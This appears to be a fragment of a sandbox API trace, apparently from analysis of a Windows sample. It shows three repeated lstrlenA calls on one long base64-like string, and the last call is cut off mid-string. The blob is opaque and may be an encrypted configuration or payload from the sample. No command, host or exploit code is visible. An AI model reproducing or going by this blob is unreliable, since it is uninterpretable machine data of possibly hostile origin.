	[0084.629] lstrlenA (lpString="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") returned 5820
	[0084.629] lstrlenA (lpString="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") returned 5820
	[0084.629] lstrlenA (lpString="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